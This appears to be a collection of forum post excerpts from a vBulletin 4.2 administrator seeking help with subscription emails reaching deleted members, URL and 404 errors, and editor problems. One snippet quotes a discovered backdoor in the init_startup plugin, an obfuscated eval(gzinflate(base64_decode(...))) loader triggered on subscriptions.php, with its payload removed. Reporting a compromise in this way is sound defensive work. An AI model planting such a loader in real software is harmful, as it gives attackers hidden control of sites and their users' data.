GDPR Concern: Members receiving subscription email notification when they are not subscribed

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Hello? It's been 7 days and still no answer.... My members keep complaining.

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So? Any suggestions? Did I do something wrong? I assume vB specialists should know better.

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I truncated the
subscribediscussion
subscribeevent
subscribeforum
subscribegroup
subscribethread
subscription ...

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In the Admin CP of vBulletin? Where should I look for an email queue?

I looked however for the email queue in the server's CPanel and there are just a few emails in queue, all 'Happy Birthday'...

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Hello!

I run vBulletin 4.2.5. About 1 month ago I received the first worrying messages from ex-members (members who asked to have their account deleted and we deleted them) who kept receiving...

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I tried and it gives the error with Advanced Friendly URLs and with Mod Rewrite Friendly URLs. It only works with the Standard URLs and the Basic Friendly URLs.

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The htaccess I use is the one provided by vBulletin (the one that comes with the software). I tried with the default vBulletin theme and it still does the same. So, basically I use vBulletin default theme...

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As I explained, I am not talking about the Linear, Hybrid and Threaded modes. I am talking about an issue that happens to all my members, not just me.

Enter a forum. Scroll down under the...

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Hello!
I opened a ticket back then. The issue hasn't been resolved and I haven't received any answer since the 21st September, despite me writing again to ask for a solution.

I was...

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Hello!

I am running vBulletin 4.2.4 and Php 5.6. I noticed my error logs are huge and when I checked, I am getting these errors every second, literally.


mod_fcgid: stderr:...

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Usually my forums have this structure: http://www.mysite.com/forums/forums/123-Thread-Name

After I disabled the 404 custom page, when I try the thread display options I am getting this URL:...

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It just shows the URL of my custom 404 page, named notfound (www.mysite.com/notfound)

PHP 5.6 and vBulletin 4.2.4

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So, anyone? 6 days passed and no reply...

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Members of my forum reported (and I am able to replicate the issue) that when they use any of the Thread Display Options, the forum redirects to the 404 error page. I use vBulletin...

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Hello!
I recently upgraded to vBulletin 4.2.4 and since then when I try to edit a post using the Advanced function of the editor, I keep getting this error both in Chrome and Vivaldi:
"This...

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dc3dreamer where did you find the subscriptionsxxx.php files that you got rid of? Were they on the forum root or in what folders?

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Well, nothing was strange before March-April this year. I guess some hackers found the flaws. Argh, now I regret for not upgrading to the latest version all the time (I'm always afraid that some core...

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dc3dreamer where did you find the subscriptionsxxx.php files that you got rid of?

I just found that init_startup plugin backdoor by paying a specialist to check the server.

It's...

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We managed to find a backdoor in init_startup plugin in vBulletin:

if (strpos($_SERVER['PHP_SELF'],"subscriptions.php")) {

eval(gzinflate(base64_decode('REMOVED')));...

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Yes, I cleared the cache and tried on different browsers too, both me and my members. I changed all my passwords, for server, SSH/SFTP, for vBulletin itself. I re-uploaded all the vBulletin files again...